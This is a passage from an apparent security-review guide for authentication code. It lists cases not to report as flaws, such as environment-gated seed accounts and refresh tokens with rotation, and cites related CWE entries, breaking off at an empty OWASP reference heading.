  • Seed accounts confined to dev-only seeders guarded by environment checks (RAILS_ENV=test, if env.DEBUG) and excluded from release builds.
  • Identical-looking responses differing only by compression artifacts; timing deltas within network jitter (< ~50 ms inconsistent).
  • Long-lived refresh tokens WITH rotation and reuse-detection implemented — long life alone is not the flaw.
  • Test backdoors gated behind explicit test-only build flags verified absent in shipped bundles.
  • Lockout "missing" because protection lives at WAF/gateway layer outside the repo — note as external control, not absent.

References

CWE entries:

  • CWE-287 Improper Authentication
  • CWE-204 Observable Response Discrepancy
  • CWE-307 Improper Restriction of Excessive Authentication Attempts
  • CWE-330 Use of Insufficiently Random Values
  • CWE-384 Session Fixation
  • CWE-521 Weak Password Requirements
  • CWE-613 Insufficient Session Expiration
  • CWE-620 Unverified Password Change
  • CWE-640 Weak Password Recovery Mechanism for Forgotten Password
  • CWE-798 Use of Hard-coded Credentials

OWASP (stable URLs):